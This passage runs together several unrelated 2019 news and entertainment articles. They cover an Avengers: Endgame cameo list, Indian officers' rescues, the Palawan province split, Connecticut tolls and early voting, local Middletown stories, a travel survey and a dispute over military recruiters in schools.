too. Commercially, he was really good in 'Judwaa 2'. His comic timing is great but I find him much better in emotional scenes." Viral Bhayani Before we finally said goodbye to Sr Dhawan, we addressed the elephant in the room. Yes, we asked the GOLDEN question about Varun's possible wedding with girlfriend Natasha Dalal. Varun and Natasha have finally accepted their relationship and rumours of their wedding have been doing the rounds for a while now. Answering our query, Sr Dhawan said, "His marriage will happen next year maybe. I am very happy with their relationship. What more does a father need?" We are waiting for the official announcement. What about you? A lot of spoilers lie ahead, so close this right now if you haven't watched the movie. Just a warning. I'm still trying to process 'Avengers: Endgame' - literally having a very deep conversation about it while writing this - and this will probably continue till the next viewing and the one after that. So much happened, but let's not get into the details of the main plot as of now, I'll save that for another story. Right now, let's focus on all the characters we saw in the movie, other than the ones we knew about, of course. Literally, everyone knew that all the people who disintegrated at the end of 'Avengers: Infinity War' will come back as soon as the movie ended. Marvel is not going to abandon so many million dollar franchises like that, so obviously, that was pretty much expected. What wasn't expected was appearances from a bunch of characters that have appeared in various MCU movies over the course of 11 years. 1. Peggy Carter While everyone basically knew that time travel would be involved in this, no one exactly knew about the specifics and where actually the Avengers would end up going. After having a little problem in 2012 while retrieving the Tesseract, Tony and Steve have no choice but to end up travelling even further back in time to collect the space stone. After ending up in 1970, both of them have an unlikely reunion. We'll talk about the Tony part in a later point, but Cap got a glimpse of a very familiar face there. While hiding in an office, he sees none other than Peggy Carter through the blinds. It's obviously a great moment since the last time he saw her was on her deathbed at the beginning of 'Captain America: Civil War'. But, that wasn't it, Cap also got to live out his life with the love of his life when he travelled back in time again at the end of the movie. He got to grow old with her and even finally have that dance, bringing a very nice end to his Marvel storyline. 2. Jane Foster We haven't seen her since the second Thor instalment, which no one even honestly remembers, but obviously, it's important when we consider the Infinity Stones. To retrieve the Reality Stone from a still intact Asgard, Thor and Rocket travel back in time to the events of 'Thor: The Dark World' where their mission is to extract the Ether from Jane. Even though there's nothing much to it, her cameo was still surprising, since it's been years since her last mention or appearance. 3. The Ancient One Again, because of time travel, Tony, Steve, Scott, and Bruce end up at the battle of New York from the first Avengers movie, since there were three Infinity Stones not just on Earth at the same time but all together in New York as well. Since Doctor Strange is still a brilliant surgeon and five years away from becoming the master of mystic arts back in 2012, the Time Stone is with the Ancient One. After refusing to give up the Time Stone at any cost, she finally relents after learning that Doctor Strange himself gave the stone to Thanos. 4. Harley This is just one of the two appearances not related to time travel whatsoever, but it's a sad cameo though. Remember the little kid from 'Iron Man 3'? Harley Keener? Well, we haven't heard much about him since that movie but it seems like Tony has kept up with him all these years. He makes a blink-and-miss appearance at Tony Stark's funeral towards the end. It's an important cameo but it was missed by a lot of fans. 5. Howard Stark Another major appearance that had a big impact. As I mentioned above, Tony and Steve travel back to 1970 and guess who Tony runs into? His dad, Howard Stark! Obviously not revealing his real identity, Tony still manages to have a very important and impactful conversation with his father about fatherhood. We've seen through the years that both of them did not really have a strong relationship but with just that one conversation, Tony seemed to have had major character development. Moreover, since Tony loses his life soon after that, it was good to see him at least leaving things on a good note with his father. 6. Thanos' Children And no, I'm not talking about Nebula and Gamora. In 'Infinity War', Thanos sent his 'children' to earth to get the two Infinity Stones there - time and mind - and they are faced with the Avengers, of course. Ebony Maw loses his life while on his way to Titan, thanks to Peter Parker's knowledge of 'really really old movies', and Scarlet Witch manages to kill off Proxima Midnight in the battle in Wakanda. These were permanent deaths but they also happened in 2018, so when the Thanos from 2014 makes it to the movie's present time, all of his children and the Black Order is still alive and fighting beside him in the final battle. 7. Gamora Again, Gamora did not come back to life, it's just the Gamora from 2014 who doesn't even know the Guardians of the Galaxy yet. Well, it was still great to see her kick Peter Quill right in his balls. I'm also more interested to know 'where is Gamora' (sorry) because we didn't see her at the end of the movie, nor did she go with the Guardians of the Galaxy. 8. Frigga As mentioned above, Thor travelled back to a still existing Asgard and he saw his mother the day she was supposed to die. In the present timeline, anyone can see that Thor is not really doing that well, and it looks like talking to Frigga helped him more than anything had in the previous five years. It looked like he got some closure and he also got to hug his mom again! A precious moment, tbh. You see, it's actually true when they say 'not all heroes wear capes'. Ask someone who has known a superhero in all flesh and blood, someone who came into their life when their every breath was hanging by a thread. Call them whatever you choose - saviour, messiah or guardian angel, but the fact is, they indeed are heroes who have ditched the capes, and bear such courage in their hearts that's only second to a lion's. So yes, not all heroes wear capes. Some wear khaki uniforms, Indian Navy hats and even regular clothes, but they all have one thing in common - all of them would put their own lives on the line to save the people around them. Check out the inspiring stories of these 6 dedicated officers who went beyond the call of duty, and risked their lives to save others: 1. RPF Constable Jagbir Singh Rana Twitter The RPF constable was most recently in the news for his bravery and ultimate sacrifice that saved five lives at the cost of his own. Constable Rana was patrolling the busy tracks between Adarsh Nagar and Azadpur railway stations when he was killed by a Shatabdi Express while saving a couple and some children from getting hit by trains. He managed to bring the couple arguing on the tracks to safety, but during a second round while trying to save a few kids, he couldn't get off the tracks on time and got hit by a train. Constable Rana died on the spot. 2. Lieutenant Rahul Dalal Facebook While out on the beach with his wife at the Vypin beach in Kerala, Lieutenant Rahul Dalal noticed a gathering of curious onlookers along the beach. When he got closer he realised that someone was drowning and crying out for help. Strong evening currents didn't help the situation and stopped others from helping the poor guy. Lt. Dalal jumped right in and was almost crushed under the drowning man's frantic attempts to get to safety. However, despite the strong currents and the odds the lieutenant managed to bring the man to safety. 3. Constable Raj Kamal Meena Brave constable Raj Kamal Meena of PS Khyala saved the life of a boy drowning in Bawana Canal. Rajkamal went to Bawana for a raid but when he saw the child drowning, he jumped in the canal to save him. Proud of Ct Rajkamal. @DelhiPolice @LtGovDelhi pic.twitter.com/FDcwJJz4Gc DCP West Delhi (@DCPWestDelhi) February 4, 2019 Constable Meena who is posted at the Khyala Police Station in New Delhi, was going about his work as usual one day, when he noticed some children playing near the Bawana Canal located in West Delhi. Since it was known for being a dangerous spot where many unfortunate incidents of drowning had taken place, he went to warm them. But by the time he could reach, one of the boys jumped into the calm and began drowning. However, constable Meena's quick thinking and courage saved the boy's life who could have drowned in the deep waters. 4. Sub-Inspector Gagandeep Singh Twitter Uttarakhand cop Gagandeep Singh became an internet sensation after he stopped a lynch mob from punishing and taking away a Muslim youth's life, based on foolish trepidations that had provoked a Hindu mob to take the matter in its own hands. Sun-Inspector Gagandeep Singh showed commendable courage when he single-handedly prevented the mob from harming the Muslim youth in a Hindu temple, where he had allegedly gone to meet his Hindu girlfriend. 5. Constable Sudarshan Shinde Twitter When a dangerous fire broke out at a pub in Mumbai's Kamala Mills compound, constable Shinde had been patrolling in a nearby area. As soon as he heard about the fire, he rushed to the spot. Some people had gotten trapped inside due to the blaze and excessive smoke. However, constable Shinde was able to help some of them who had turned on their mobile torches. However, when he found some unconscious people inside, he ignored his own safety and rescued them by carrying outside on his own shoulders. He managed to save many lives that night when the fire claimed 14 lives. 6. Head Constable Abhishek Patel Twitter Head constable Abhishek Patel posted in Madhya Pradesh's Sagar district became a hero for 400 young school children after he risked his own life to save theirs. It was reported that a bomb was found near a school in Chittora village, and upon finding it Patel picked up the 10kg bomb and ran for a kilometer carrying the bomb on his shoulder. A 12-second video of his sprint had also gone viral on social media. UBLY There will be a special memorial next weekend for a woman who touched the life of nearly every Ubly resident in one way or another before she passed away in December. There will be a celebration of Lola Browns life 11 a.m. to 4 p.m., Saturday, May 4, at the township/village hall. Metro Manila (CNN Philippines, April 26) Issues surrounding the newly signed law dividing Palawan into three provinces should be discussed in a debate so residents can be well-informed before casting their votes for or against the split in 2020. This is the proposal of Vice President Leni Robredo as she stressed that Palawenos should have the final say on their provinces possible breakup. Tingin ko, iyong lahat na issues na iyon, kailangan pag-debatehan bago ng plebesito para iyong tao, nagkakaroon siya ng pagkakataon makita iyong, parang all sides of the coin, para nakakapag-desisyon siya ng maayos, Robredo said in a chance interview with reporters in Puerto Princesa City. [Translation: I think all issues should be discussed in a debate before the plebiscite so people will see all sides of the coin and have an informed decision.] Under Republic Act 11259, or the "Charter of the Provinces of Palawan del Norte, Palawan Oriental, and Palawan del Sur," the new provinces will be created once approved by concerned residents in a plebiscite in May 2020. Puerto Princesa, as a highly urbanized city, is not qualified to vote to the dismay of some residents. The group Save Palawan Movement accused Congress of shrugging off its concerns, which include being used by politicians to perpetuate in power through more local elective posts. An online petition to "stop dividing Palawan into three" now has over 47,000 signatures. Meanwhile, local government officials, including Palawan Governor Jose Alvarez, have been pushing for the split to better manage Palawan, something that Robredo said makes a lot of sense. Iyong advantage kasi noon mas lalong matututukan. Kasi kapag masyadong malaki iyong area, parang spreading yourself too thinly, she said. [Translation: "The advantage is officials will not have to spread themselves too thinly."] Alvarez earlier told CNN Philippines once the law is implemented, local officials will not have to travel distances to reach constituents living in 1,728 islands in the province. Robredo agrees that the delivery of goods and services will be faster with three separate provinces. Hindi lang sa Palawan, pero sa maraming bahagi ng Pilipinas the farther the town is away from doon sa pinaka-sentro, mas mahirap din siya. Mas mahirap kasi iyong access sa government programs, she added. [Translation: Not just in Palawan, but in many parts of the country, the farther the town is away from the center, the poorer it is. It is harder to access government programs.] Robredo, however, stressed that there are also security concerns, considering that Palawan is a major gateway to the country. This was the concern shared by Senator Risa Hontiveros, the only lawmaker who voted against the bill in Senate in November 2018. She said creating three new provinces would give China an opportunity "to infiltrate and influence smaller local government units to favor its claims in the West Philippine Sea. Alvarez, however, said there is no basis for such fears. "Anong akala mo - hindi kami gustong mamatay para sa sariling bayan natin? Bibigay lang namin sa China? Napakababaw naman noon," he said. [Translation: "What are you thinking - that we are not willing to die for our country? That we'll just give in to China? That is just too shallow."] Palawan is the province closest to the contested waters. Pag-asa Island, one of the biggest islands in the disputed Spratlys, is the seat of the Kalayaan municipal government under the province of Palawan. This, along with almost the entire South China Sea, is being claimed by China despite a July 2016 arbitration ruling that recognized the Philippines' sovereign rights in its 200-nautical mile exclusive economic zone, which the government calls West Philippine Sea. Philippine and Chinese officials recently exchanged arguments and maintained claims after over 200 Chinese vessels were spotted swarming around Pag-asa Island. Local officials have a role to play in the dispute, as evidenced by another recent incident wherein Mayor Gaudioso Manalo of Lobo, Batangas prevented a Chinese-manned ship from dredging in local waters. From magicians to dancers, some of the worlds top performers are in Connecticut this weekend. Multiple musicals are onstage as well, from The Whos Tommy to The Full Monty. Plus, a new four-day event is launching; its called The Connecticut Comedy Festival. When it comes to magicians, were talking about sleight-of-hand artist Shin Lim, this years winner of the global competition, Americas Got Talent: The Champions. Lim performs his elaborate close-up card routines and more at Foxwoods Grand Theatre on Friday. Fans who enjoyed his mesmerizing AGT acts, which were accompanied only by music, are in for a real treat at this show because Lim told us he plans to really open up to the audience. Gov. Ned Lamonts push for highway tolls has entered a new and critical phase: The administration rebooted its lobbying team two weeks ago, and they are talking to legislators about a series of tweaks intended to increase the consumer and political appeal of the governors top priority and biggest challenge. With less than six weeks until the Legislatures constitutional adjournment deadline, the administration and lawmakers are trying to settle on a legislative draft specific enough to assure them of what they are buying, but flexible enough to enable Lamont to negotiate a final tolls plan with the Federal Highway Administration. A small reduction in the gasoline tax, cheaper inner-city bus fares, ways to provide discounts for drivers who lack the credit or checking accounts necessary for an E-ZPass, a list of specific transportation improvements, and limits on pricing and the number of tolling gantries are among the items sources say are under discussion. This opportunity to truly transform the transportation system and therefore Connecticuts economy for decades to come doesnt come along every year, and we dont intend to waste that opportunity, said Colleen Flanagan Johnson, the governors senior adviser who is now overseeing a staff of a half-dozen aides working on the tolls campaign. House and Senate Democratic legislative leaders say they welcome a new lobbying effort that includes two administration officials: Marc Bradley, who ran the governors winning campaign in 2018 and now oversees external and constituent services; and former state Sen. Jonathan Harris, an undersecretary at the Office of Policy and Management. I think theyre bringing in people who have a good relationship with the Legislature, said Senate President Pro Tem Martin M. Looney, D-New Haven. Jonathan, having served in the Senate, is very well regarded in this chamber, and Marc Bradley is someone enormously well-respected for the role he played in the campaign. Legislators generally panned the administrations rollout of the tolls proposal in February, complaining it lacked details about how it would work or a strategy for passage. The administrations pitch has been the state needs tolling revenue to maintain and modernize infrastructure, while offering few specific ideas that would spark the imagination about faster commutes worth the price of tolls. Looney and House Speaker Joe Aresimowicz, D-Berlin, were among a small group of Democratic lawmakers to meet Wednesday with Lamont and his transportation commissioner, Joseph J.Giulietti, about the still-evolving tolling legislation and what it could mean for Connecticut commuters. As long as were having this open dialogue, I think we can get there, Aresimowicz said of getting tolls to a vote. I cant say if its going to be three weeks from now or if its going to be on the last night. But Im feeling more confident we can get to a deal that allows us to fund our infrastructure. Two weeks ago, Lamont and the Democratic co-chairs of the Legislatures Transportation Committee tried to reframe the issue in terms of specific rush-hour commutes, assuming 4.4 cents a mile with discounts for state drivers: from New Haven to Hartford on Interstate 91, $1.72; from Stamford to New Haven on I-95, $1.80; from Danbury to Waterbury on I-84, $1.28. Lamont said last week he saw no need for more details about his plan: He already had spelled out there would be no more than 50 tolling gantries on the states four most-congested highways, Route 15 and interstates 84, 91 and 95. But his staff already was at work with lawmakers to add details to a tolls bill. Flanagan Johnson declined to confirm whether a gas-tax reduction would be an element of a tolls deal, but she acknowledged an emphasis on trying to mitigate the impact of tolls on lower-income commuters. The administration was looking at discounts for those who most need them, as well as the mechanics of how to provide EZ passes to drivers without credit or bank accounts. The discounts are a major issue for my caucus, Aresimowicz said. An issue that has proven harder to resolve are the limits a bill would place on pricing. How much flexibility would the legislature entrust the state Department of Transportation? Connecticut is being permitted to devise a tolling system without losing federal highway revenue under a specific program that calls for peak and off-peak prices to discourage driving at peak times. A challenge for state officials is the lack of guidance from the Federal Highway Administration on the pricing differential desired for peak and off-peak trips. There is no hard and fast number, said Thomas J. Maziarz, the state DOTs chief of policy and planning. The state will try to make the case that data shows even a modest difference in pricing will result in less traffic, and that revenue from the tolls will permit projects that could make significant improvements, especially on the often gridlocked stretch of I-95 in Fairfield County. One potential project would be expanding the exit lanes from I-95 onto Route 8 in Bridgeport, a major bottleneck in the afternoon commute north from Stamford, he said. The administration is working on a vote count, a task complicated by the lack of a finished piece of legislation. Sen. Gary Winfield, D-New Haven, said he is a strong supporter of tolls in concept, but needs more details. What are you asking us to do? said Rep. Jeffrey A. Currey, D-East Hartford. Flanagan Johnson said her staff knows the questions, and the bill must provide answers. What do the rates look like? What kind of certainty can we give, not only to residents but to legislators who are taking this vote? There will be some more structure around that. What we want to make sure we do is provide information to legislators who are taking the vote to help them fully understand the opportunity they have to make a true difference in Connecticuts economy. The give-and-take with legislators is constructive, she said, with lawmakers learning more about the process and the administration seeing the issues that must be resolved before commitments are made. That process takes time. People want to know what the bill is before they say hard yes, hard no. And thats more than fair, Flanagan Johnson said. So were working through that. On the other end, we dont want to rush it to simply get a bill. We want to get the right bill. In separate interviews, Looney and Aresimowicz said the first vote by the House or Senate on tolls must come no later than June 3. The session ends two days later. When the 2019 National Teacher of the Year award is handed out on Monday, President Donald Trump will not be doing the honors. It is our understanding that the president will not be in attendance and that (Education) Secretary (Betsy) DeVos will present the award, Nancy Rodriguez, a spokeswoman for the Council of Chief State School Officers which administers the program, said. It has often but not always been a tradition that the president since Harry Truman hand out the award after it was developed in 1952. In 2016, Waterbury history teacher Jahana Hayes won the national title which was presented by President Barack Obama. Last November, Hayes was elected to Congress representing Connecticuts 5h District. In 2017, with Trump in the White House, the award went to Sydney Chaffee, a public charter school teacher from Boston. During that ceremony, Trump called it really something special that an educator from charter schools, which he and DeVos support, had won. Trump mentioned the tradition specifically when he handed out the award in 2018 to Mandy Manning in the East Room of the White House. Every president since Harry Truman has honored the National Teacher of the year, he said at the time. Manning, who teaches English to refugee and immigrant students in Spokane, Wash., used the opportunity to present the president with a stack of letters from her students. On her dress, she wore buttons that promoted Trans Equality, along with a button from the Womens March and a rainbow-colored apple. The 2019 National Teacher of the Year title goes to Rodney Robinson, who teaches social studies inside the Richmond, Va., Juvenile Justice Center. This year, I hope to be the voice for my students and all students who feel unseen, unheard, unappreciated and undervalued in America, Robinson said in a statement. The National Teacher spends a year away from his or her teaching duties to serve as a spokesman and advocate for the teaching profession. The itinerary for what is billed as Washington Week and this year starts Sunday shows the award ceremony being held at the Eisenhower Building, 1650 Pennsylvania Ave., on Monday. Paul Ferrari, the senior program director with the National Teacher of the Year Program, said CCSSO works with the White House to coordinate the recognition event. It is up to each administration to decide how to recognize the teachers, and it has varied throughout the 67-year history of the program in location and who has delivered the recognition to the National Teacher, Ferrari said. This years itinerary calls for Karen Pence, wife of Vice President Mike Pence, to host a breakfast reception for the teachers. The teachers also spend time on the Hill meeting with lawmakers. Rodriguez said the schedule of events is still being finalized but two different events are on White House grounds. One is a recognition ceremony and reception and the other involves White House tours for the teachers. One of the attendees will be Sheena Graham, a music teacher at Warren Harding High School in Bridgeport. Graham represents the state of Connecticut. I am looking forward to the opportunity to network with and learn, Graham said, adding she is excited. Graham has been to the White House at least twice, performing a song she wrote with students from Tisdale School as part of the districts Turnaround Arts program in 2016. It was a project endorsed by first lady Michele Obama. I cannot begin to describe the emotions that come over you as you pass through security and walk toward the entrance (of the White House), Graham said. She said it would be shame if teachers traveling from long distance didnt get to experience that. lclambeck@ctpost.com; twitter/lclambeck Google Street View MIDDLETOWN A homeless man was held on $75,000 bond following his arraignment on charges he stabbed a security guard at a popular Mexican restaurant on Main Street restaurant late Wednesday. Robert Watson, 65, allegedly entered La Boca at around 10:15 p.m. "very intoxicated" and was told to leave by several employees, reports said. MIDDLETOWN The Common Council completed the first phase of the budget-making process by holding the budget public hearing which drew only a handful of residents. The hearing, which was held in the council chambers, followed three nights of budget review. The hearing was sparsely attended, with five people in the audience, only three of whom made comments. Their focus was exclusively on the proposed education budget, the largest single component of the overall budget. Superintendent of Schools Michael T. Conner is requesting an operating budget for the coming fiscal year of $90.7 million. Thats an increase of $7.4 million, or 8.825 percent, over the current years spending total of $83.4 million. Conner and six of his colleagues met Monday with the council to review his budget proposal. Mayor Daniel T. Drews proposed budget calls for an $899,996 reduction in the education budget. If the reduction were approved, it would reduce Conners operating budget for the coming year to $89.8 million . At the hearing, former Board of Education member Edward McKeon offered an endorsement of Conners request. He began by declaring, Our investment in our schools is the single best economic development investment we can make. The father of the two Middletown high School students, McKeon said he believes Middletown is lucky to have Conner leading the district. Conner has said he wants Middletown schools to be the best in the state. He is taking some revolutionary steps to make that happen, McKeon said. Hes not employing unproven methods. The educational programs hes instituting will provide measurable, observable results. McKeon also believes that for too long weve done too little to help struggling students achieve at high levels. For too long, weve settled for educational strategies designed for an agrarian and industrial society, when we live in a connected, data-rich society. For too long, weve focused on rote learning, and ignored social/emotional needs, he said. For too long weve tinkered and achieved incremental success in closing the achievement gap, when we should really be addressing the opportunity gap. In the approximately six months since Conner took over leadership of the school system, there have been real and pronounced improvements in pre-school, kindergarten, middle school and the high school, McKeon said. Because of those improvements, McKeon said, Dr. Conner deserves our support. His budget deserves our support. Ill say it again. Ask any real estate agent. You want young families to move into Middletown? Improve the schools. You want businesses to move to Middletown to gore the tax base? Improve the schools, he said. You want your investment in your property to increase? Improve the schools. You want an educated, employable populace? Improve the schools. You want to spend less on law enforcement and imprisonment? Improve the schools. The eight Democrats and four Republicans on the council will now caucus to come up with their respective proposals for a final budget, Minority Leader Sebastian A. Giuliano said. If the process runs true to form, Majority Leader Mary Bartolotta said she will take the minority leaders proposal into our caucus to see if they are things in there that we can agree with. It will then be up to the two parties to see if we can fashion a middle-of-the-road compromise to move the city forward, she said. By law, the council must approve the 2019-20 budget by May 15. MIDDLETOWN For nearly three decades, Lucille Ruggiero gave herself entirely to her students, fostering each one to their fullest potential. On Friday, in honor of Arbor Day, the Wesley Elementary School community reflected that love 100 times over as the student body celebrated the life of the Nutmeg Big Brothers Big Sisters Foster Grandparent who died in February at 95. At 90, Ruggiero was honored as winner of the 2013 Foster Grandparent of the Year Award. To start the ceremony, the children watched the planting of a flowering pink dogwood tree near the school entryway, donated by Home Depot of Middletown for the occasion. The ceremony was moved indoors to the gymnasium because of rainclouds. More for you Middletown losing dozens of trees to Emerald Ash Borer infestation On a royal blue curtain in the gym hung a large colorful poster depicting two trees full of butterflies with dozens of childrens hand prints in shades of pink and orange rising up from the grass. Well always remember you, Mrs. R, it read. As Ruggieros grandson Christopher Cirullo took the podium, he turned to marvel at the artwork. You called her Mrs. R. I called her grandma. Thats what she was to me the best grandma in the world. She lived to be 95. Thats a really, really long time. You think, How? he told the children sitting cross-legged on the floor. I look at all of you, and I can see the energy and life that was given to her when she served all of you, and helped you find your path in life, Cirullo said, his voice cracking. She was a star in our program the very best. She so loved working with you, and making sure you get to places you like to go, whether it was with your reading, how you were getting along with your friends, math, your colors. Whatever you needed help with, she loved being with you, said Andy Fleischmann, president and CEO of Nutmeg Big Brothers Big Sisters of Hartford. Teacher Ann Anderson, who was close with Ruggiero for 15 years, wore a pink dress with two of Ruggieros gold fairy and star brooches pinned on it, along with a gold watch adorned with butterflies and bees. She would have laughed ... She would have been honored, at the tribute, Anderson said, her eyes welling with tears. Ruggiero helped her in so many ways in the classroom. She was there to help the kids and support them. Especially if they needed help emotionally, she would give them hugs. She was just the sweetest thing. They just adored her. If they were playing, they would go over and pretend they were having a tea party with her. She was full of life and vibrant, spunky and fun, Anderson said. In her later years and even as she fell ill, Ruggiero found happiness among the youth. She pushed herself to come even when she wasnt in the best of health. It made her feel better, and made all of us feel better, too, to see her, Anderson said. Cirullo was overwhelmed by the memorial. His grandmother, who was always well-dressed and adorned, had a second favorite pastime. She loved to shop. If she wasnt here with the kids, she was shopping. Not just for herself. Every time I saw grandma, there was always a new dress shirt or new hat or new pair of boots, Cirullo said. Ruggiero was a traveler and wasnt hindered one bit by her age. On a whim, she would get on the bus and go to New York by herself at 88 years old. She said, Im going away for a couple days. Ill be back, Cirullo said, laughing at the memory. She didnt let her age slow her down. Shed motivate you to go out there and make a difference. It was an emotional morning for Ruggieros son Daryl Ruggiero and wife Donna. She loved fashion jewelry, was always dressed in the latest styles. Her highlight in her later years was coming to school, Donna Ruggiero said. Even in hospital, she was looking forward to coming back. The dogwood was particularly fitting, said her daughter Patty Ruggiero, since her mother so loved the one in front of her house. Her mother was full of energy, and felt joy sharing that with students. It kept her going, so she wouldnt sit around the house and feel old. She was go, go, go all the time, Patty Ruggiero said. The students benefit educationally and socially and just the warmth of having an extra person in the classroom working with them. The school benefits because it takes some pressure off the teachers. The older people: it gives them something to do during the day, said Brian Kelly, director of marketing for Big Brothers Big Sisters. Ruggiero hadnt retired from the foster grandparent program, but was toying with the idea. She kept saying, I want to leave but Ill miss my kids, Kelly said. My role in the classroom is different than a teacher. The children tell me their problems, show me their hurts, and I can spend that extra time with a child who may need a little more help than others do. Helping, listening, giving and receiving hugs are a big part of my job here, Ruggiero told The Press in 2000. I love this program. Helping children in their formative years is very rewarding. Giving them a kind word and a few hugs makes a big difference in a childs life, she said at the time. Nutmeg Big Brothers Big Sisters Foster Grandparent Program has been in operation for over 40 years. The major funder for the program is the Corporation for National and Community Service. Presently, there are 47 sites in eastern and central Connecticut, which serve close to 350 children. Fosters must be at least 55 and meet certain income requirements. Applicants must be willing to pass a background check, undergo training, and work between five to 40 hours each week. Participants receive a stipend to offset the cost of mentoring. Volunteers are always needed. For information, visit nbbbs.org. Contributed photo HARTFORD Legislators this week heralded the passage of a law which will allow insurance producers the option of taking licensing examinations in Spanish beginning Oct. 1. State Sen. and Insurance and Real Estate Committee co-chair Matt Lesser, D-Middletown, announce the implementation of a Spanish language version of the insurance producer licensing exam in addition to the one in English. The issue: Connecticut doesnt make voting easy. Its one of only 12 states that doesnt allow early voting at the polls and in fact its prohibited by the state constitution. Early voting has become an option for increasing numbers of people nationwide, and last year some 40 million Americans in 38 states and the District of Columbia cast their votes in advance of Election Day. Changing the state constitution is not as easy as passing a law, as it requires a three-fourths supermajority in both chambers of the state Legislature as well as approval in a statewide referendum. But its also hardly unprecedented, as voters just last year approved a constitutional change enabling the creation of a lockbox for transportation-related funding. In 2014, early voting made it as far as the statewide ballot but was defeated in part because, organizers said, the language in the bill was unclear. What we said: By no means does this state make voting as easy as it could be. Expanding the franchise should be a priority for the coming legislative session. That means considering seriously options like early voting; so-called no-excuse absentee ballots, allowing any registered voter to request an absentee ballot without requiring a reason; vote-by mail; and automatic voter registration. Connecticut has taken steps in the direction of making voting easier, but there is plenty of work to be done. Voting, after all, is as fundamental a right as exists in this nation. All opportunities to expand the pool of voters should be seriously considered so everyone is represented. Editorial, Dec. 26, 2018 What happened: The proposal to bring early voting to Connecticut received a supermajority vote of 125-24 in the Connecticut House of Representatives this week. That exceeds the 75-percent supermajority threshold of 114 votes necessary for a constitutional amendment, and included 35 of the 59 Republicans in attendance. In addition to clearing the way to early voting, the proposed change would widen the use of absentee ballots, which is another change that has taken hold across the nation. Currently, voters need to prove they cannot cast in-person ballots on Election Day either because they are physically unable or would be out of town. Opening the use of absentee ballots means more people would be able to vote, widening state turnout that reached about 66 percent last year. Whats next: The proposal now heads to the state Senate. If it can clear the 75-percent threshold in that chamber, the question would be put on the 2020 ballot for ratification by voters. If the Senate does not clear that bar, the soonest that early voting could go on the state ballot would be 2022. The Senate needs to follow the Houses lead. Theres no reason Connecticut should be behind the times on voting rights, and the state should do whatever it can to bring more people into the process. The state must also ensure proper safeguards are in place, but there is simply no reason to lag behind the rest of the nation in this vital area. TravelSkills on SFGate is brought to you by Visa How do you decide where to go on personal trips? For most Americans, that choice could hinge on how they think the destination will look on their Instagram feed. The poll of 8,000 U.S. and European travelers commissioned by the big European online travel company eDreams found that 52 percent of U.S. travelers admitted they book their vacation destination based on its "Insta-worthiness" (i.e. "destinations beautiful enough to post on Instagram," as eDreams explains it). And Americans aren't alone in that regard. According to the study, the same decision-making process applies to 58 percent of Italian travelers and 55 percent of Spaniards. By contrast, only 14 percent of Brits consider social media appeal when picking a destination. And if the reality of the destination doesn't match up to travelers' expectations, a majority of Americans will turn to filters to make it look better. According to eDreams, 51 percent of Americans surveyed said they use filters and other editing techniques on their trip photos before they post them on Instagram. (Okay, I admit to a little selfie taking myself! See below) The survey also concluded that U.S. travelers were "the least cynical" about vacation social media posts, with 52 percent agreeing that those who put up a lot of vacation pix must be having a good time. Among British travelers, 40 percent said those who upload a lot of holiday photos are "show-offs." Don't miss a shred of important travel news! Sign up for our FREE bi-weekly email alerts Of course, the nature of travel photos has changed considerably in recent years. While your grandpa might have been happy snagging snaps of local landmarks and scenery with a Kodak camera on his vacation, Millennials are unlikely to do the same unless they plant themselves in the foreground of each picture. (It's called FACE-book for a reason.) OK, I take selfies, too! And I'll use a filter every so often! This one from Kauai. From my Instagram feed. That selfie madness can have dire consequences for travelers who aren't careful; one recent study determined that hundreds of deaths have been caused by Instagrammers trying to capture the perfect selfie without regard for their personal safety. The eDreams survey also asked travelers about the role of social media "influencers" on their travel habits. It found that U.S. travelers are unlikely to be swayed by someone else's postings. "Only 1 in 10 (U.S. travelers) admit to having booked a holiday to a destination that appeared on someone else's Instagram page, similar to Italian travelers (with 11%)," eDreams said. Do you enjoy posting your trip photos on social media? Do you like to see those of your friends, family or followers? Tell us in the comments! Read all recent TravelSkills posts here Get twice-per-week updates from TravelSkills via email! Sign up here Chris McGinnis is the founder of TravelSkills.com. The author is solely responsible for the content above, and it is used here by permission. You can reach Chris at chris@travelskills.com or on Twitter @cjmcginnis. Isaak Olson was two months from graduating in 2014 when he disclosed that his fiancee had given birth several months earlier... Peace activists are offering $2,000 to a high school that admits it prevents U.S. military recruiters from entering its campus -- an effort, they say, to discredit military leaders who claim that 1,100 high schools nationwide are barring recruiters from schools. Author and anti-war activist David Swanson and Pat Elder, director of the National Coalition to Protect Student Privacy, are asking schools that deny access to military recruiters to post a video online with the hashtag #recruiterfree school, "explaining why your school keeps out military recruiters." The two will award one of the schools $2,000 to organize an education day focused on peace and non-military related careers. Swanson said the offer was made to challenge what he described as a falsehood perpetuated by senior military leaders: that schools are keeping recruiters out. Related content: In February, Army Secretary Mark Esper said that, after falling short in meeting recruiting goals in 2018, the service launched a major recruiting campaign in 22 cities but was finding that "schools are not letting our recruiters in, or counselors are not even presenting as an opportunity the chance to serve your country." Addressing members of the Senate Armed Services Committee in December, Navy Secretary Richard V. Spencer described an "excess of 1,100 schools and districts that deny access to uniform members to recruit on campuses," mainly in the northeast and northwestern United States, he said. And Sergeant Major of the Marine Corps Ronald Green in January said there are "just some places where we are not allowed to recruit." "I'd like to see a more open-door process. In some high schools, there is just no entry point," Green said at a forum on military readiness at the Center for Strategic and International Studies in Washington, D.C. But Swanson and Elder say they can't find any schools that restrict access and add that the Defense Department has not provided a list of schools. Under the No Child Left Behind Act of 2001, public high schools that accept federal funds must give recruiters the same access to students as employers and colleges. "A number of organizations can't find any evidence to prove that it is happening. If schools were doing this, it would be in violation of federal law," Swanson said. Interpretation of the law can vary by school and district. Access may mean direct contact and freedom to approach students on campus or in classrooms, or it may be tightly controlled, restricted to requiring direct appointments only and limiting distribution of information. It also may be limited to offsite events such as college fairs. A Defense Department spokeswoman said Thursday that problems sometimes arise when recruiters are not provided the type of access they believe they should have to meet their recruiting goals, and schools provide only minimum access under the law. But sometimes schools are actually not in compliance, Pentagon public affairs officer Jessica Maxwell said. According to Maxwell, the Office of the Secretary of Defense reviews the status of school access twice a year and, if any schools are found not to be in compliance, they receive a visit from a senior-level officer. If problems continue, a SecDef representative will contact either the school or the state's board of education. Maxwell added that the 1,100 schools Spencer discussed were largely in New York City. The Navy, she said, has since worked with the Chancellor of the New York City Schools to restore access. Currently, no schools in the U.S. are non-compliant, she said. Swanson said the services are having trouble recruiting because of low unemployment and the unpopularity of "participating in endless brutal wars that serve no clear purpose, increase hostility to the United States and leave participants at heightened risk of death, physical injury, brain damage, post-traumatic stress disorder, moral injury, violent crime, homelessness and suicide." Both Elder and Swanson favor restricting the release of student information to the DoD and support a ban on military recruiting in schools. "[Recruiters] should not be there," Swanson said. "It's illegal to recruit minors into the military. And even if they are talking to people who are 18, much of what they are doing is targeted to people under age 18." Green said students have the right 